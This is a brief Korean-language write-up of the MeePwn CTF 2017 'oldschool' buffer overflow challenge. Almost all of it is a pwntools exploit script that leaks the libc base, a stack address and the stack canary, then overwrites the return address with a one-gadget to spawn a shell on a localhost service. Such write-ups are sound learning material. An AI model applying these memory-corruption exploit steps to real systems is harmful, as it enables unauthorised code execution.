meepwn CTF 2017 - oldschool

bof 문제.

아이다 디컴파일이 안되는법 해결은 아래 포스트에.

카나리 우회가 귀찮다.

스택에 널을 많이 넣고 원샷 돌림.

# !/usr/bin/env python
# powerprove
 
from pwn import *
import sys
 
 
if len(sys.argv) < 2:
    host =  "localhost"
    port = 4000
 
def menu(index):
    s.recvuntil("Choice:")
    s.sendline(str(index))
 
def add_book(name, author, payload_len , payload):
    menu(1)
    s.recvuntil("name")
    s.sendline(name)
    s.recvuntil("Author")
    s.sendline(author)
    s.recvuntil("Description:")
    s.sendline(str(payload_len))
    s.recvuntil("Description")
    s.sendline(str(payload))
 
def leak():
    menu(4)
    s.recvuntil("AAAA")
    libc_base = u64(s.recv(6).ljust(8,"\x00")) -0x7a5e8
    log.info("libc_base          : "+hex(libc_base))
    return libc_base
 
def edit(index, payload, payload2):
    menu(2)
    s.recvuntil("edit")
    s.sendline(str(index))
    s.sendline(payload)
    s.sendline(payload2)
 
s = remote(host, port)
raw_input("meepwn : oldshcool")
 
if __name__ == "__main__":
    add_book("B"*31, "B"*31, 256, "AAAA")
    libc_base = leak()
    edit(1, "B", "B")
    s.sendline("A"*28)
    menu(4)
    s.recvuntil("A"*28)
    stack = u64(s.recv(6).ljust(8, "\x00")) -0x123
    log.info("stack              : "+hex(stack))
 
    menu(1)
    s.sendline("C"*64)
    edit(2, "D"*100, "D"*400)
    edit(1, "D"*100, "E"*(829) + "\x00" + p32(0x1)  +p64(stack + 0x301 - 68) + "D"*200)
    menu(4)
    s.recvuntil("Description: ")
    canary = u64(s.recv(7) + "\x00")
    log.info("canary             : "+hex(canary))
    one_gadget = libc_base + 0xf0274
    edit(1 , "A", "A")
    payload = p64(canary)
    payload += "A"*15
    payload += p64(one_gadget) + "\x00"*0x60
    s.sendline(payload)
 
    s.recvuntil("Choice:")
    s.sendline("FUCK")
 
s.interactive()